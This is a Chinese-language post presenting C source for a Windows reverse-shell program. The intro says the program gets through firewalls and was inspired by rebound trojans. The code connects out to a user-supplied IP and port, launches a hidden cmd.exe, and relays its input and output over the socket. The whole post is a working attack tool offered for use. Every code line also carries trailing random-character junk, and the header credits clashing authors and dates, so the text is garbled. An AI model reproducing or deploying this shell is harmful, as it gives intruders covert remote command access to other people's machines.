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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 /nZ;v4  
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/* ============================== @5VV|Wt=  
Rebound port in Windows NT <rIz Z'D  
By wind,2006/7 /6+NU^  
===============================*/ ^qvZ XS  
#include Uxu\u0*  
#include E9}{1A  
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#pragma comment(lib,"wsock32.lib") x\\~SGd  
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void OutputShell(); a9U_ug58  
SOCKET sClient; )92r{%N  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ]zfG~^.  
#VVr"*7$  
void main(int argc,char **argv) -\,zRIOK  
{ +&|S'7&{  
WSADATA stWsaData; xV\5<7qk5g  
int nRet; $uDqqG(^  
SOCKADDR_IN stSaiClient,stSaiServer; TDtAmk  
T=Z.TG|lIx  
if(argc != 3) mXzrEI  
{ hk>;pU(  
printf("Useage:\n\rRebound DestIP DestPort\n"); z=7|{G  
return; 5n lMrK  
} \qh *E#j  
^aZAw%K  
WSAStartup(MAKEWORD(2,2),&stWsaData); !j:`7PT\  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); h 8e757z  
s{bdl[7  
stSaiClient.sin_family = AF_INET; o@bNpflb`  
stSaiClient.sin_port = htons(0); od' /%  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ANi)q$:{  
\G |%Zw|  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) v(]]_h  
{ .dMVoG5  
printf("Bind Socket Failed!\n"); Jc6R{C  
return; ?.=}pAub  
} |JF@6  
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stSaiServer.sin_family = AF_INET; .;7> y7$*  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); -O!/Jv"{,[  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); E#wS_[  
gJ$K\[+  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) I@#;nyAj"  
{ 6NWn(pZ]p  
printf("Connect Error!"); _~u2: yl (  
return; ZraT3  
} )!BsF'uVQ  
OutputShell(); SQ*k =4*r  
} 4LH[4Yj?`  
e4>"92hX  
void OutputShell() *J|(jdu7  
{ <[:o !$  
char szBuff[1024]; ?:{sH#ua  
SECURITY_ATTRIBUTES stSecurityAttributes; RDqFL.-S  
OSVERSIONINFO stOsversionInfo; tCG76LH  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; t"072a  
STARTUPINFO stStartupInfo; \daZ k /@  
char *szShell; U?a6D:~G  
PROCESS_INFORMATION stProcessInformation; y !$alE  
unsigned long lBytesRead; VZ& A%UFC  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); < 0M:"^f  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); .iMN,+qP  
stSecurityAttributes.lpSecurityDescriptor = 0; eB> s=}|  
stSecurityAttributes.bInheritHandle = TRUE; C)'q QvA  
` |IUGz  
r}#\BbCv;7  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); z!;1i[|x  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); BVsD( @lX  
fA/m1bYxg  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); (Rt7%{*  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; o2z]dTJ}o  
stStartupInfo.wShowWindow = SW_HIDE; mrIh0B:`  
stStartupInfo.hStdInput = hReadPipe; 7\]E~/g  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; (;Y8pKl1e  
;5-r_D;9  
GetVersionEx(&stOsversionInfo); (+uj1z^  
tGA :[SP  
switch(stOsversionInfo.dwPlatformId) [r+ZE7$2b"  
{ 0:0NXVYs&  
case 1: uiq^|5Z  
szShell = "command.com"; qyC=(v  
break; 'r1LSht'  
default: )^||\G  
szShell = "cmd.exe"; zDhB{3-Q1{  
break; <fCKUc  
} eW5SFY.  
qd3Q}Lk  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); No]~jnqDM  
o<IAeH {+  
send(sClient,szMsg,77,0); (C4fG@n  
while(1) Lip4)Y [  
{ ,p(<+6QZ  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 76hOB@  
if(lBytesRead) 3 rLTF\  
{ `w I/0  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); JSh.]j<bJL  
send(sClient,szBuff,lBytesRead,0); (=D&A<YX  
} s .Wdxh  
else .ERO|$fv  
{ f&v9Q97=  
lBytesRead=recv(sClient,szBuff,1024,0); 9zYVC[o  
if(lBytesRead<=0) break;  :Gm/  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); AJ#Nenmj  
} D}8EERb  
} g&/T*L  
iq( )8nxi  
return; 6aM*:>C"  
}
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